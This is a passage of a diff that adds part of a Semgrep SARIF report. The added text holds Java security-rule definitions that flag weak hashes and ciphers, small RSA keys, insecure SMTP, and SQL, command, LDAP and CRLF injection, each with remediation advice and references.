+                                "markdown": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n",
+                                "text": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils",
+                            "id": "java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils",
+                            "name": "java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-328: Use of Weak Hash",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.use-of-md5-digest-utils.use-of-md5-digest-utils"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead."
+                            },
+                            "help": {
+                                "markdown": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n",
+                                "text": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use HMAC instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-md5.use-of-md5",
+                            "id": "java.lang.security.audit.crypto.use-of-md5.use-of-md5",
+                            "name": "java.lang.security.audit.crypto.use-of-md5.use-of-md5",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-328: Use of Weak Hash",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.use-of-md5.use-of-md5"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."
+                            },
+                            "help": {
+                                "markdown": "Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n",
+                                "text": "Use of RC2 was detected. RC2 is vulnerable to related-key attacks, and is therefore considered non-compliant. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc2.use-of-rc2",
+                            "id": "java.lang.security.audit.crypto.use-of-rc2.use-of-rc2",
+                            "name": "java.lang.security.audit.crypto.use-of-rc2.use-of-rc2",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.use-of-rc2.use-of-rc2"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."
+                            },
+                            "help": {
+                                "markdown": "Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html](https://googleprojectzero.blogspot.com/2022/10/rc4-is-still-considered-harmful.html)\n",
+                                "text": "Use of RC4 was detected. RC4 is vulnerable to several attacks, including stream cipher attacks and bit flipping attacks. Instead, use a strong, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-rc4.use-of-rc4",
+                            "id": "java.lang.security.audit.crypto.use-of-rc4.use-of-rc4",
+                            "name": "java.lang.security.audit.crypto.use-of-rc4.use-of-rc4",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.use-of-rc4.use-of-rc4"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."
+                            },
+                            "help": {
+                                "markdown": "Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n",
+                                "text": "Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha1.use-of-sha1",
+                            "id": "java.lang.security.audit.crypto.use-of-sha1.use-of-sha1",
+                            "name": "java.lang.security.audit.crypto.use-of-sha1.use-of-sha1",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-328: Use of Weak Hash",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.use-of-sha1.use-of-sha1"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "This code uses a 224-bit hash function, which is deprecated or disallowed in some security policies. Consider updating to a stronger hash function such as SHA-384 or higher to ensure compliance and security."
+                            },
+                            "help": {
+                                "markdown": "This code uses a 224-bit hash function, which is deprecated or disallowed in some security policies. Consider updating to a stronger hash function such as SHA-384 or higher to ensure compliance and security.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha224.use-of-sha224)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar3.ipd.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar3.ipd.pdf)\n - [https://www.cyber.gov.au/resources-business-and-government/essential-cyber-security/ism/cyber-security-guidelines/guidelines-cryptography](https://www.cyber.gov.au/resources-business-and-government/essential-cyber-security/ism/cyber-security-guidelines/guidelines-cryptography)\n",
+                                "text": "This code uses a 224-bit hash function, which is deprecated or disallowed in some security policies. Consider updating to a stronger hash function such as SHA-384 or higher to ensure compliance and security.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.use-of-sha224.use-of-sha224",
+                            "id": "java.lang.security.audit.crypto.use-of-sha224.use-of-sha224",
+                            "name": "java.lang.security.audit.crypto.use-of-sha224.use-of-sha224",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-328: Use of Weak Hash",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.use-of-sha224.use-of-sha224"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "RSA keys should be at least 2048 bits based on NIST recommendation."
+                            },
+                            "help": {
+                                "markdown": "RSA keys should be at least 2048 bits based on NIST recommendation.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html#algorithms)\n",
+                                "text": "RSA keys should be at least 2048 bits based on NIST recommendation.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key",
+                            "id": "java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key",
+                            "name": "java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-326: Inadequate Encryption Strength",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.crypto.weak-rsa.use-of-weak-rsa-key"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'."
+                            },
+                            "help": {
+                                "markdown": "Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps](https://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html#create_ps)\n - [https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement](https://software-security.sans.org/developer-how-to/fix-sql-injection-in-java-using-prepared-callable-statement)\n",
+                                "text": "Detected a formatted string in a SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use a prepared statements (java.sql.PreparedStatement) instead. You can obtain a PreparedStatement using 'connection.prepareStatement'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.formatted-sql-string.formatted-sql-string",
+                            "id": "java.lang.security.audit.formatted-sql-string.formatted-sql-string",
+                            "name": "java.lang.security.audit.formatted-sql-string.formatted-sql-string",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.formatted-sql-string.formatted-sql-string"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "note"
+                            },
+                            "fullDescription": {
+                                "text": "Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself."
+                            },
+                            "help": {
+                                "markdown": "Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting)\n - [https://www.owasp.org/index.php/HTTP_Response_Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting)\n",
+                                "text": "Older Java application servers are vulnerable to HTTP response splitting, which may occur if an HTTP request can be injected with CRLF characters. This finding is reported for completeness; it is recommended to ensure your environment is not affected by testing this yourself.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.http-response-splitting.http-response-splitting",
+                            "id": "java.lang.security.audit.http-response-splitting.http-response-splitting",
+                            "name": "java.lang.security.audit.http-response-splitting.http-response-splitting",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.http-response-splitting.http-response-splitting"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'."
+                            },
+                            "help": {
+                                "markdown": "Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n",
+                                "text": "Insecure SMTP connection detected. This connection will trust any SSL certificate. Enable certificate verification by setting 'email.setSSLCheckServerIdentity(true)'.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection",
+                            "id": "java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection",
+                            "name": "java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-297: Improper Validation of Certificate with Host Mismatch",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A07:2021 - Identification and Authentication Failures",
+                                    "OWASP-A07:2025 - Authentication Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.insecure-smtp-connection.insecure-smtp-connection"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`."
+                            },
+                            "help": {
+                                "markdown": "It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password)\n - [https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html](https://tools.ietf.org/id/draft-lvelvindron-tls-md5-sha1-deprecate-01.html)\n - [https://github.com/returntocorp/semgrep-rules/issues/1609](https://github.com/returntocorp/semgrep-rules/issues/1609)\n - [https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory](https://docs.oracle.com/javase/7/docs/technotes/guides/security/StandardNames.html#SecretKeyFactory)\n - [https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html](https://docs.spring.io/spring-security/site/docs/current/api/org/springframework/security/crypto/bcrypt/BCryptPasswordEncoder.html)\n",
+                                "text": "It looks like MD5 is used as a password hash. MD5 is not considered a secure password hash because it can be cracked by an attacker in a short amount of time. Use a suitable password hashing function such as PBKDF2 or bcrypt. You can use `javax.crypto.SecretKeyFactory` with `SecretKeyFactory.getInstance(\"PBKDF2WithHmacSHA1\")` or, if using Spring, `org.springframework.security.crypto.bcrypt`.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.md5-used-as-password.md5-used-as-password",
+                            "id": "java.lang.security.audit.md5-used-as-password.md5-used-as-password",
+                            "name": "java.lang.security.audit.md5-used-as-password.md5-used-as-password",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-327: Use of a Broken or Risky Cryptographic Algorithm",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A02:2021 - Cryptographic Failures",
+                                    "OWASP-A03:2017 - Sensitive Data Exposure",
+                                    "OWASP-A04:2025 - Cryptographic Failures",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.md5-used-as-password.md5-used-as-password"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."
+                            },
+                            "help": {
+                                "markdown": "Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n",
+                                "text": "Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request",
+                            "id": "java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request",
+                            "name": "java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')",
+                                    "HIGH CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values."
+                            },
+                            "help": {
+                                "markdown": "Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n",
+                                "text": "Detected input from a HTTPServletRequest going into a 'ProcessBuilder' or 'exec' command. This could lead to command injection if variables passed into the exec commands are not properly sanitized. Instead, avoid using these OS commands with user-supplied input, or, if you must use these commands, use a whitelist of specific values.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request",
+                            "id": "java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request",
+                            "name": "java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.tainted-cmd-from-http-request.tainted-cmd-from-http-request"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "error"
+                            },
+                            "fullDescription": {
+                                "text": "Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."
+                            },
+                            "help": {
+                                "markdown": "Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n",
+                                "text": "Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request",
+                            "id": "java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request",
+                            "name": "java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request",
+                            "properties": {
+                                "precision": "very-high",
+                                "tags": [
+                                    "CWE-454: External Initialization of Trusted Variables or Data Stores",
+                                    "MEDIUM CONFIDENCE",
+                                    "OWASP-A01:2017 - Injection",
+                                    "OWASP-A03:2021 - Injection",
+                                    "OWASP-A05:2025 - Injection",
+                                    "security"
+                                ]
+                            },
+                            "shortDescription": {
+                                "text": "Semgrep Finding: java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request"
+                            }
+                        },
+                        {
+                            "defaultConfiguration": {
+                                "level": "warning"
+                            },
+                            "fullDescription": {
+                                "text": "Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data."
+                            },
+                            "help": {
+                                "markdown": "Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n\n#### 💎 Enable cross-file analysis and Pro rules for free at <a href='https://sg.run/pro'>sg.run/pro</a>\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request)\n - [https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection](https://sensei.securecodewarrior.com/recipes/scw%3Ajava%3ALDAP-injection)\n",
+                                "text": "Detected input from a HTTPServletRequest going into an LDAP query. This could lead to LDAP injection if the input is not properly sanitized, which could result in attackers modifying objects in the LDAP tree structure. Ensure data passed to an LDAP query is not controllable or properly sanitize the data.\n💎 Enable cross-file analysis and Pro rules for free at sg.run/pro"
+                            },
+                            "helpUri": "https://semgrep.dev/r/java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request",
+                            "id": "java.lang.security.audit.tainted-ldapi-from-http-request.tainted-ldapi-from-http-request",
